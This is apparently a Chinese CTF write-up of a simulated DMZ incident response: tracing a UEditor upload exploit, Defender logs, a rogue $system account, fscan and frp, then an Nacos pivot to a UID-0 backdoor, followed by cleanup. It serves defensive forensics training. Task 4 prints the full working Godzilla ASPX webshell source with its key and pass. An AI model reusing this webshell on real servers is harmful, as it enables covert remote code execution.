Solar 杯 · DMZ 区应急响应 – R1ftの折腾日记

环境信息

拓扑：DMZ1 = Windows Server 2019（192.168.111.20，对外论坛服务）；DMZ2 = Ubuntu（192.168.111.21，内网机器）

凭据：Windows administrator / Solarsec521；Ubuntu root / Solarsec521

提交方式：执行 Linux 机器 root 目录下的 flag 程序进行答题

参考：https://mp.weixin.qq.com/s/3PjV7WIAM1C7Yu7cSLqUcA

场景概述

这个环境模拟的是真实的 DMZ 攻防场景：攻击者拿对外的论坛服务器当突破口，得手后向内网 Ubuntu 横向渗透。两台机器一 Windows 一 Linux，考察从路径还原、痕迹取证到清除加固的完整流程。排查时要有链的意识，DMZ1 上的每一步都要追问一句：攻击者拿它下一步干了什么。

任务清单

#	类型	任务	flag 格式
1	排查漏洞	从开放服务入手审计日志，提交攻击者传入 webshell 利用的 URL	`flag{...}`
2	Defender 专项	提交 Defender 拦截记录中攻击者最早执行的命令	`flag{cmd}`
3	Defender 专项	提交 Defender 隔离的第一个 webshell 文件名	`flag{xxx.aspx}`
4	日志专项	审计 web 日志，提交最终用于远控的 webshell 文件名	`flag{xxx.aspx}`
5	木马专项	提交最终 webshell 的 key 和 pass	`flag{key&pass}`
6	远控专项	提交攻击者远控后关闭 Defender 的时间	`flag{2025/1/1 12:01:01}`
7	远控专项	提交攻击者创建的用户名、远程登录 IP 及时间	`flag{user&ip&time}`
8	恶意文件排查	提交攻击者上传的内网扫描等恶意文件所在路径	`flag{C:\...}`
9	安全加固	清除权限维持用的用户，读 `Desktop\flag\1.txt`	—
10	安全加固	清除所有 webshell，读 `Desktop\flag\2.txt`	—
11	安全加固	清除所有恶意文件，读 `Desktop\flag\3.txt`	—
12	内网渗透排查	转入 Ubuntu(DMZ2)，提交攻击者在 Nacos web 端新增的账号	`flag{user}`
13	内网渗透排查	提交攻击者写入的隐藏用户名	`flag{user}`
14	安全加固	清除 Nacos web 端新增用户，读 `/var/flag/1`	—
15	安全加固	清除服务器上新增用户的所有信息，读 `/var/flag/2`	—
16	安全加固	停止存在漏洞的 web 服务进程，读 `/var/flag/3`	—
17	安全加固	修改被攻击者获取的 root 密码，读 `/var/flag/4`	—

排查思路：先入口，后内网

拿到一台已经沦陷的机器，第一步不是乱翻文件，是先弄清楚攻击者从哪进来的。切入点无非三类：

开放端口：远程攻击得靠对外暴露的服务，最常见的入口，优先查这个；
外接设备：机器没有对外端口的话，考虑 U 盘这类物理接触；
人的因素：钓鱼、从非官方渠道下载软件这类社工途径。

可以把服务器想成一间屋子，门窗都锁着还出了事，问题多半出在屋里人身上；门窗开着，就先查从窗户外进来的脚印。

任务 1：从开放服务定位漏洞入口

任务要求：根据开放服务排查审计日志，提交攻击者利用漏洞传入 webshell 的 URL。

先摸清对外开放了哪些端口：

C:\Users\Administrator>netstat -ano
# -a 显示所有连接与监听端口，-n 直接显示数字地址，-o 显示 PID

监听项不少，优先盯常见端口 80、445/139、3389。题目方向是 webshell，先看 80。

80 上跑的是一个 CMS 论坛。接着得搞清楚 Web 是什么中间件搭的，Apache、Nginx 还是 IIS，这决定去哪找日志。常规做法是拿 netstat 里的 PID 用 tasklist 反查进程，但这台机器 80 的 PID 是 4：

C:\Users\Administrator>tasklist | findstr "4"
System                           4 Services                   0        128 K
...

PID 4 是 System 进程，因为 Windows 的 HTTP 内核驱动 http.sys 会代替 IIS 监听端口，这条路查不到真正的服务。换 netsh http show servicestate 看 http.sys 的状态快照，输出很长，抓两个关键点：

请求队列名是 DefaultAppPool，IIS 应用程序池的默认名字，确认是 IIS；
日志目录 C:\inetpub\logs\LogFiles\W3SVC1，W3SVC 是 IIS 存日志的地方，要审计的就是它。

进目录看，日志按天分文件。文件多了要有取舍，一般按时间范围（优先事件前后几天）和文件大小（异常大的文件往往藏着扫描、爆破流量）排优先级。

先看 12 月 23 日的日志，开头就是大量规律的路径探测，典型的目录扫描：

往下滑到扫描结束，出现一组返回 200 的规律请求，关键词是 Ueditor：

Ueditor 是什么？实战里遇到 xxxconfig、xxxeditor 这类不认识的组件，第一反应就是搜，编辑器、框架类组件历史上漏洞一大堆，先搜再看。

UEditor 是百度一个老牌富文本编辑器，历史上曝过任意文件上传等漏洞。继续审 12 月 24 日的日志，能看到大量对 aspx 文件的请求，而这批请求之前访问了 /plugins/Ueditor/net/controller.ashx?action=catchimage：

这个 URL 熟不熟？直接搜，catchimage 正是 UEditor 任意文件上传漏洞的利用入口，它会拉取远程图片写进服务器。先访问它，紧接着就冒出一堆 aspx，时序上完全对得上。

顺带记两个日志研判的手感：日志里频繁请求同一个文件，多半是 webshell 在被持续访问；超长 URL 或者可疑编码，多半和 SQL 注入、命令拼接有关。

flag：flag{/plugins/Ueditor/net/controller.ashx action=catchimage}

任务 2：最早被拦截的命令

任务要求：提交 Defender 病毒和威胁防护中，拦截攻击者最早执行的命令。

Windows Server 2016 起 Defender 默认内置，查杀能力不弱。但打开 UI 会发现保护历史是空的，图形界面的记录容易丢，应急时要以事件日志为准，没有安全设备的现场，系统日志就是最底层也最可靠的证据源：

桌面工具目录里有个 FullEventLogView，拿来辅助审事件日志很好用。Defender 相关的事件 ID 先备一份：

事件 ID	含义	说明
1116	检测到恶意软件	扫描或实时防护发现病毒/恶意软件/PUA
1117	已执行处置动作	成功隔离、删除或清理
1118	处置动作失败	尝试处理但失败，通常需人工介入
1006 / 1007	引擎层检测 / 处置	与 1116/1117 对应的平台级事件
1015	可疑行为	启发式检测，尚未命中具体签名

攻击者连上 webshell 后肯定先执行命令试探，这一步最容易被实时防护抓到。筛事件 ID 1116：

按时间排，首次检测到的命令是 whoami，权限试探的经典第一跑。

flag：flag{whoami}

任务 3：Defender 隔离的第一个 webshell

任务要求：提交杀软隔离的第一个 webshell 文件名。

继续筛 1116，往下翻和文件有关的记录：

11:24:15 检测到文件 6390217215502412559088650.aspx。第一个被查杀的文件在实战里很有价值，能反映攻击者最初的投递手法，也是后面区分哪些 shell 死了、哪些活下来的基准。

flag：flag{6390217215502412559088650.aspx}

任务 4：找到真正上线的 shell

任务要求：审计 web 日志，攻击者多次上传 webshell 后，最终远控使用的文件是哪个。

这里要换个思路，不能再查 1116 了。能进 1116 的样本都已经被 Defender 处置掉了，不可能拿来远控，真正上线的 shell 一定绕过了检测，它的痕迹只在 web 访问日志里。

回到 W3SVC 的 1224 日志，webshell 的交互集中在这里：

审计后整理出攻击者上传、访问过的全部 aspx：

6390217261498889944132731.aspx
6390217215502412559088650.aspx
6390217228358522529477835.aspx
6390217295972468102047086.aspx
6390217325293187938071651.aspx
6390217358631910697152957.aspx

哪个是最终使用的，看两点：请求频次，持续交互的才是活 shell；时间线，一直被访问到最后的那个。锁定 6390217325293187938071651.aspx，打开文件确认：

C:\inetpub\wwwroot\plugins\Ueditor\net\upload\image\20251224

<%@ Page Language="C#"%><%try { string key = "3c6e0b8a9c15224a"; string pass = "solar"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(Context.Request[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Application["payload"] == null) { Context.Application["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = ((System.Reflection.Assembly)Context.Application["payload"]).CreateInstance("LY"); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16)); } } catch (System.Exception) { }
%>

AES 加解密流量、key/pass 两个参数、内存加载程序集执行，特征齐了，这是哥斯拉 webshell。

flag：flag{6390217325293187938071651.aspx}

任务 5：哥斯拉的 key 和 pass

任务要求：提交攻击者最终使用的 webshell 中 key 和 pass。

shell 里明文写着：

string key = "3c6e0b8a9c15224a";
string pass = "solar";

哥斯拉生成 shell 时，key 按约定取自某个 MD5 值的前 16 位，可以自己用哥斯拉生成一个对照学下原理。反过来拿到 16 位 key，也可以先当 MD5 反查明文验证 pass，推荐免费的 SOMD5：

flag：flag{key&solar}

任务 6：攻击者关掉 Defender 的时间

任务要求：审计系统日志，提交攻击者远控后关闭 Windows Defender 的时间。

先把前面的排查串成时间线，猜猜攻击者下一步会干什么：Web 扫描 → 发现 UEditor → 利用漏洞上传 webshell → 执行命令 → Defender 查杀并隔离 → 换哥斯拉成功上线。到这里再往内网打，第一件事必然是关杀软，这也是攻击队和勒索家族的习惯动作。

操作类的事件 ID 也备一份：

事件 ID	含义	取证要点
5001	实时保护已禁用	防护被关闭的直接证据，核心结果日志
5007	配置已更改	记录具体修改动作，重点看 `HKLM...\DisableRealtimeMonitoring` 由 0 变 1
5000	实时保护已启用	恢复日志，若攻击者事后重新开启以掩盖痕迹会出现这条

筛 5001：

攻击者在 2025/12/24 12:24:07 关掉了 Defender。

flag：flag{2025/12/24 12:24:07}

任务 7：新建账号与远程登录溯源

任务要求：审计系统日志，提交攻击者创建的用户名及远程登录 IP 及时间。

webshell 用着再方便，也不如稳定的终端远控，能跑的命令全，交互也顺畅。拿终端的常见路径两条，开 3389 远程登录，或者上 C2。这题显然是前者，攻击者连 Defender 都关得掉，说明权限已经够高，建个账号不是问题。

net user 列一下账号：

C:\Users\Administrator>net user

\\WIN-S69JLUDHENG 的用户帐户

-------------------------------------------------------------------------------
$system                  Administrator            DefaultAccount
Guest                    WDAGUtilityAccount
命令成功完成。

$system 很扎眼，不属于任何系统默认账号，名字刻意往系统上靠，还带特殊符号。这里别混淆概念，隐藏账户的 $ 是加右边的，比如 system$，配合注册表处理之后 net user 看不到；$system 的 $ 在左边，只是名字伪装，net user 照样能看到。看下详情：

C:\Users\Administrator>net user $system
用户名                 $system
...
上次设置密码           2025/12/24 13:26:43
...
上次登录               2025/12/24 13:32:16
...
本地组成员             *Administrators       *Users

两个佐证：设密码时间 13:26:43 在关闭 Defender 之后，账号还在 Administrators 组，基本可以断定是攻击者建的。

顺带说下隐藏账户怎么查。如果攻击者建的是 $ 结尾的真隐藏账户，net user 是查不到的，用 WIN+R 运行 lusrmgr.msc 直接看用户和组，或者翻注册表 SAM：

常用的 msc 管理单元列在这备查：

命令	用途
lusrmgr.msc	本地用户和组
compmgmt.msc	计算机管理（设备/磁盘/服务集成）
services.msc	服务管理
gpedit.msc	本地组策略（家庭版没有）
secpol.msc	本地安全策略
eventvwr	事件查看器
taskschd.msc	计划任务
devmgmt.msc / diskmgmt.msc	设备 / 磁盘管理
perfmon.msc / rsop.msc	性能监视 / 策略结果集

账号名有了，还差登录 IP 和时间。FullEventLogView 筛安全日志的 4624（登录成功事件）：

命中 623 条，太多。在高级选项里叠一层描述字符串过滤，事件 ID 填 4624，描述过滤填登录类型相关关键字做二次收敛：

登录类型怎么选？4624 的登录类型标识凭据来源。类型 3 是网络验证，RDP 开了 NLA（网络级别身份验证）的时候认证阶段产生的就是它，类型 10 才是 RDP 桌面会话。这里按类型 3 过滤远程认证记录。注意过滤字符串要和日志原文完全一致，连冒号后的空格都得一样，建议直接从日志里复制：

登录类型:		3

筛选结果里点开事件详情，账户 $system、源网络地址 192.168.70.3、时间 2025/12/24 13:32:1x，用户名、IP、时间三样都齐了，多条记录取最早：

再用 RDP 会话日志交叉验证下登录是否成功，TerminalServices-LocalSessionManager 的事件 21 表示远程会话已连接：

IP 和时间都对上了。

flag：flag{$system&192.168.70.3&2025/12/24 13:32:13}

任务 8：恶意工具的落点

任务要求：攻击者为内网渗透上传了内网扫描等恶意文件，提交文件所在路径。

先凭经验碰碰运气，提到内网渗透条件反射就是 fscan、frp、Mimikatz 这些名字，Everything 直接搜：

能搜到当然好，但自研工具就搜不到了，这时候得靠系统级的执行痕迹。Windows 记录程序执行证据主要两处：

伪影	位置	记录内容	用途
ShimCache（AppCompatCache）	SYSTEM hive：`HKLM\SYSTEM\...\AppCompatCache`	文件路径、最后修改时间、执行标志	证明文件存在过、是否执行
Amcache.hve	`C:\Windows\AppCompat\Programs\Amcache.hve`	文件 SHA1、首次执行时间、完整路径	时间线更精细，可做执行时间轴

不过这两个文件直接复制会提示正在使用：

原因是系统启动后内核以独占方式锁着这些 hive 文件，普通复制必失败。绕过的办法是卷影副本（VSS），它是某一时刻的只读快照，不带原文件的锁，从快照里把文件拷出来就行。流程：先建快照，再定位快照路径，最后复制目标文件。

# 创建C盘卷影
C:\Users\Administrator>wmic shadowcopy call create Volume='C:\'
执行(Win32_ShadowCopy)->create()
方法执行成功。
外参数:
instance of __PARAMETERS
{
        ReturnValue = 0;
        ShadowID = "{C243DB7D-EA0E-488B-8AD4-3825BA421F72}";
};

# 查找卷影副本路径
C:\Users\Administrator>vssadmin list shadows
vssadmin 1.1 - 卷影复制服务管理命令行工具
(C) 版权所有 2001-2013 Microsoft Corp.

卷影副本集 ID: {5878728f-df15-425d-8638-6934f0ac371f} 的内容
   在创建时间: 2026/10/5 0:08:45 含有 1 个卷影副本
      卷影副本 ID: {c243db7d-ea0e-488b-8ad4-3825ba421f72}
         原始卷: (C:)\\?\Volume{67b26c0d-0000-0000-0000-602200000000}\
         卷影副本卷: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         源起机器: WIN-S69JLUDHENG
         服务机器: WIN-S69JLUDHENG
         提供程序: 'Microsoft Software Shadow Copy provider 1.0'
         类型: ClientAccessible
         属性: 持续, 客户端可访问, 无自动释放, 没有写入程序, 差异

拿到快照卷 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1，把两个取证文件复制到桌面：

copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\AppCompat\Programs\Amcache.hve" C:\Users\Administrator\Desktop\Amcache.hve
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\Users\Administrator\Desktop\SYSTEM

提取出来是二进制 hive，需要解析工具转成表格，推荐 Zimmerman 系列：

https://download.ericzimmermanstools.com/AmcacheParser.zip
https://download.ericzimmermanstools.com/AppCompatCacheParser.zip

注意工具别下太新的，靶机是 .NET 4.7.2 环境，太新跑不起来。

以 SYSTEM 文件为例，把 AppCompatCacheParser.exe 和 SYSTEM 放同一目录执行：

AppCompatCacheParser.exe -f "SYSTEM" --csv "." --nl
# --nl：忽略"脏标志"直接读取主文件；文件损坏严重时可能仍报错，但多数情况能跑通

初始输出很杂，抓重点。扫内网、穿隧道的前提都是程序被执行过，所以按 Executed 列筛确实跑过的记录：

结果很清楚，fscan 和 frp 都跑过，目录在 C:\Users\Administrator\Downloads\：

顺藤摸瓜，fscan 的扫描结果里还能看到内网另一台机器有 Nacos 漏洞，这就是 DMZ2 那边的伏笔：

顺带一提，Amcache.hve 记录了程序首次执行的时间点，比 ShimCache 更适合还原"几点几分执行了什么"的时间线，解析方法同样是 Zimmerman 工具转表格，可以自行搜索或问 AI。

flag：flag{C:\Users\Administrator\Downloads}

任务 9：删掉权限维持账号

任务要求：清除攻击者用于权限维持的用户，读取 C:\Users\Administrator\Desktop\flag\1.txt。

任务 7 排查出的 $system 已经成功登录过，必须删掉：

C:\Users\Administrator\Desktop\AppCompatCacheParser-3>net user $system /del
命令成功完成。


C:\Users\Administrator\Desktop\AppCompatCacheParser-3>net user

\\WIN-S69JLUDHENG 的用户帐户

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
WDAGUtilityAccount
命令成功完成。

删完再跑一遍 net user 确认没了，去读 flag：

flag：flag{d47cab4549e08c5227d2afd5d4e1a051}

任务 10：清 webshell

任务要求：清除攻击者上传的所有 webshell，读取 C:\Users\Administrator\Desktop\flag\2.txt。

webshell 目录任务 4 就定位了：C:\inetpub\wwwroot\plugins\Ueditor\net\upload\image\20251224。上传目录里的 aspx 全清掉，特别是成功上线的那个哥斯拉 shell，留着就是给攻击者留后门：

嫌路径深的话，Everything 搜 *.aspx 更快：

全选删除后读取 flag：

flag：flag{31527b4001257a29c68c357a15376e59}

任务 11：清恶意工具

任务要求：清除攻击者上传的所有恶意文件，读取 C:\Users\Administrator\Desktop\flag\3.txt。

就是任务 8 定位的 Downloads 下的 fscan、frp 这些文件，全选删掉：

flag：flag{42a996202210e8572eebae2968f393db}

Windows 侧复盘

攻击者的完整思路：Web 扫描 → 找到 UEditor → 利用漏洞上传 webshell → 执行命令被 Defender 查杀隔离 → 换哥斯拉成功上线 → 关闭 Defender → 新建账号 $system → RDP 远程登录拿终端 → Downloads 上传 fscan/frp 对内网扫描。

flowchart TD
    A["对外论坛 IIS :80"] --> B["目录扫描<br/>(1223 日志)"]
    B --> C["发现 UEditor 组件<br/>catchimage 任意文件上传"]
    C --> D["多枚 aspx webshell 落地<br/>被 Defender 检测隔离 (1116)"]
    D --> E["哥斯拉 webshell 成功上线<br/>AES 加密流量"]
    E --> F["关闭 Defender (5001)<br/>12/24 12:24:07"]
    F --> G["创建 Administrators 账号 $system"]
    G --> H["RDP 远程登录<br/>192.168.70.3 @ 13:32:13"]
    H --> I["Downloads 上传 fscan / frp<br/>对内网扫描"]

每一步都有对应的日志可查：查杀看 1116，上线看 web 日志，关防护看 5001，远程登录看 4624，执行工具看 ShimCache。

任务 12：内网横移，Nacos 是跳板

任务要求：转入 Ubuntu(DMZ2) 排查。攻击者利用 fscan 结果对内网机器实施漏洞利用，本地访问相关端口，为权限维持在 web 端新增了账号。

切到 Ubuntu 侧。fscan 的结果已经指了方向，DMZ2 上跑着 Nacos，而且有漏洞。先确认 8848 在监听，再用浏览器访问 Nacos 控制台。

Nacos 默认口令 nacos/nacos。碰到没接触过的中间件，先查默认口令再搜已知漏洞，是最快的路子。

Nacos 的配置中心经常存着最敏感的一批东西，对象存储密钥、数据库、Redis 的账号密码。这题也不例外，看下配置：

spring:

datasource:

driver-class-name: com.mysql.cj.jdbc.Driver

url: jdbc:mysql://192.168.70.20:3306/solar_order_db?useUnicode=true&characterEncoding=utf-8&useSSL=false

username: solar_app

# 数据库密码

password: SolarAppDbPassword@2024

hikari:

minimum-idle: 5

maximum-pool-size: 20

idle-timeout: 30000

max-lifetime: 1800000

connection-timeout: 30000

  

# ---------------------------------------------------

# [运维备注]

# 生产环境 SSH 隧道配置 (临时用于 DataX 数据同步，请勿删除)

# ---------------------------------------------------

ssh:

tunnel:

enabled: true

host: 192.168.59.2

port: 22

user: root

password: Solarsec521

local-port: 3307

配置里直接写着 SSH 的 root 账号密码，备注还是"临时使用请勿删除"。攻击者拿到这个就等于拿到终端的钥匙，任务 13 的隐藏账号也是从这里来的。

回到本题，攻击者为后续持续登录，在 Nacos web 端新增了一个账号，用户列表里能看到：

Nacos 装完默认只有 nacos 一个账号，多出来的 system 就是新增的。结合 Windows 上的 $system，这位攻击者显然喜欢用看起来像系统组件的名字混淆视听。

flag：flag{system}

任务 13：UID 0 的隐藏账号

任务要求：攻击者在 web 端获取到了敏感信息后获取到了终端权限，写入了隐藏用户，提交其用户名。

攻击者拿配置里的 SSH 凭据登录后，照例做权限维持，这次是隐藏用户。先看谁有登录 shell：

root@solar:~# cat /etc/passwd | grep /bin/ba
root:x:0:0:root:/root:/bin/bash
sys-update:x:0:0::/var/tmp/.sys:/bin/bash
solar:x:1000:1000:Solarsec:/home/solar:/bin/bash

三个能登录的账号里 sys-update 最可疑，别被 sys 前缀迷惑：

家目录在 /var/tmp/.sys 而不是 /home，正常用户不住这；
家目录带 . 前缀，是隐藏目录；
UID 是 0，和 root 同权限，不是 solar 那种普通用户的 1000。

再看它的家目录里有什么：

root@solar:~# ls -la /var/tmp/.sys
total 16
drwxr-xr-x 4 root root 4096 Dec 24  2025 .
drwxrwxrwt 8 root root 4096 Oct  4 17:53 ..
drwx------ 2 root root 4096 Dec 24  2025 .cache
drwx------ 2 root root 4096 Dec 24  2025 .ssh

一个用户的家目录里只有 .ssh 公钥目录，典型的密钥后门。

flag：flag{sys-update}

任务 14：删 Nacos 新增账号

任务要求：清除攻击者在 web 端新增的用户名后，前往 /var/flag/1 文件中读取 flag。

到 Nacos 用户列表里删除 system 即可：

root@solar:~# cat /var/flag/1 
flag{ad31ea22e324ee6effd454decf7477c9}root@solar:~#

flag：flag{ad31ea22e324ee6effd454decf7477c9}

任务 15：删 UID 0 后门账号

任务要求：清除攻击者在服务器新增的用户名所有信息，前往 /var/flag/2 文件中读取 flag。

直接 userdel 会报错：

root@solar:~# userdel sys-update
userdel: user sys-update is currently used by process 1

报这个错是因为账号的 UID 是 0，系统把它和 root 当成同一个用户，root 当然正在使用中，于是拒绝删除。

这种 UID 0 的伪装账号，最干净的做法是绕过 userdel，直接手改账号文件：/etc/passwd 和 /etc/shadow 各删掉 sys-update 那一行，家目录整个删掉，里面的 .ssh 公钥后门一并清除。改完建议 grep ':0:' /etc/passwd 确认 UID 0 只剩 root。

root@solar:/etc# rm -rf /var/tmp/.sys/
root@solar:/etc# vim /etc/shadow
root@solar:/etc# vim /etc/passwd

root@solar:/etc# cat /var/flag/2 
flag{85fdb55f08925b3ae7149e869124f2c4}

flag：flag{85fdb55f08925b3ae7149e869124f2c4}

任务 16：停掉带漏洞的服务

任务要求：当前 web 端存在漏洞，先停止此 web 服务进程后，前往 /var/flag/3 文件中读取 flag。

删账号只是止损，Nacos 的漏洞还开着门，修复完成前最直接的止血是停服务。可以 systemctl stop nacos，也可以进安装目录跑自带的关闭脚本，不知道装哪的话先全盘找：

root@solar:/etc# find / -name nacos 2>/dev/null
/work/Tomcat/localhost/nacos
/usr/local/nacos
root@solar:/etc# cd /usr/local/nacos
root@solar:/usr/local/nacos# ls
bin  conf  data  LICENSE  logs  NOTICE  target
root@solar:/usr/local/nacos# cd bin
root@solar:/usr/local/nacos/bin# ls
shutdown.cmd  shutdown.sh  startup.cmd  startup.sh
root@solar:/usr/local/nacos/bin# ./shutdown.sh 
The nacosServer(1096) is running...
Send shutdown request to nacosServer(1096) OK

root@solar:/usr/local/nacos/bin# cat /var/flag/3
flag{163e32607debcc6091e993929afe8064}

flag：flag{163e32607debcc6091e993929afe8064}

任务 17：改 root 密码

任务要求：攻击者通过 web 漏洞拿到了 root 账号密码，请修改密码后，前往 /var/flag/4 文件中读取 flag。

Nacos 配置里泄的就是 root 凭据，攻击者还拿它登录建了后门，这个密码必须换：

passwd root

root@solar:/usr/local/nacos/bin# cat /var/flag/4
flag{2d1848c8560becac27d30a5d4daf6da3}

flag：flag{2d1848c8560becac27d30a5d4daf6da3}

Linux 侧复盘

攻击者在 fscan 扫到内网另一网段的 192.168.59.2 存在 Nacos 漏洞后，先用 frp 做了内网穿透，接着利用 Nacos 漏洞新增了 web 账号 system 来混淆视听，然后登录 SSH，为了权限维持又加了 UID 0 的账号 sys-update 并放了 SSH 公钥。

flowchart TD
    A["fscan 发现内网 Nacos 漏洞<br/>(192.168.59.2:8848)"] --> B["frp 内网穿透建立通路"]
    B --> C["利用 Nacos 漏洞/默认口令<br/>新增 web 账号 system"]
    C --> D["配置中心读取敏感信息<br/>SSH root 凭据"]
    D --> E["SSH 登录终端"]
    E --> F["创建 UID 0 隐藏账号 sys-update<br/>+ 家目录放 SSH 公钥"]

总结与经验

整场排查走下来，有几条主线：

日志是应急的地基。Windows 靠事件日志（Defender 的 1116/5001，登录 4624，RDP 21），Linux 靠账号文件和家目录痕迹，Web 靠 IIS 访问日志。Defender UI 的记录会丢，日志不会。
别信名字，要验属性。$system、system、sys-update 都是冲着看起来像系统组件去的，aspx 拿随机长文件名混在上传目录里。排查时盯 UID、家目录位置、创建时间、执行痕迹这些改不掉的属性，而不是文件名。
加固要闭环。删账号删 shell 只是止血，漏洞服务不停、泄露的密码不改，攻击者随时回来。任务 14 到 17 就是按删账号、删后门、停服务、改密码的顺序走完闭环的。

Windows 侧记几个顺手的：

端口和进程用 netstat -ano 配 tasklist | findstr，PID 为 4 时换 netsh http show servicestate 找真正的服务和日志目录；
事件审计用 FullEventLogView，Defender 检测 1116/1117/1118，关防护 5001/5007，登录成功 4624（类型 3 是网络认证/NLA，10 是 RDP 会话），RDP 会话 21；
执行痕迹：ShimCache、Amcache 被锁就 wmic shadowcopy 建快照提取，Zimmerman 解析器转表格，按 Executed 筛；
账号排查：net user 看不到 $ 结尾的真隐藏账户，用 lusrmgr.msc 或注册表 SAM。

Linux 侧：

cat /etc/passwd | grep /bin/ba 圈定可登录账号，重点核对 UID（非 root 却是 0？）、家目录位置（不在 /home？）、目录内容（只有 .ssh？）；
UID 0 后门账号 userdel 删不掉，直接改 /etc/passwd、/etc/shadow 并删家目录，最后确认 UID 0 只剩 root；
中间件类服务加固三板斧：改默认口令、删多余账号、必要时先停服务再修漏洞。

最后记一个容易踩的坑：IIS 等 web 日志默认按 UTC 记录，Windows 事件日志按本地时间，拼时间线之前记得统一时区，不然对不上，甚至会把先后顺序搞反。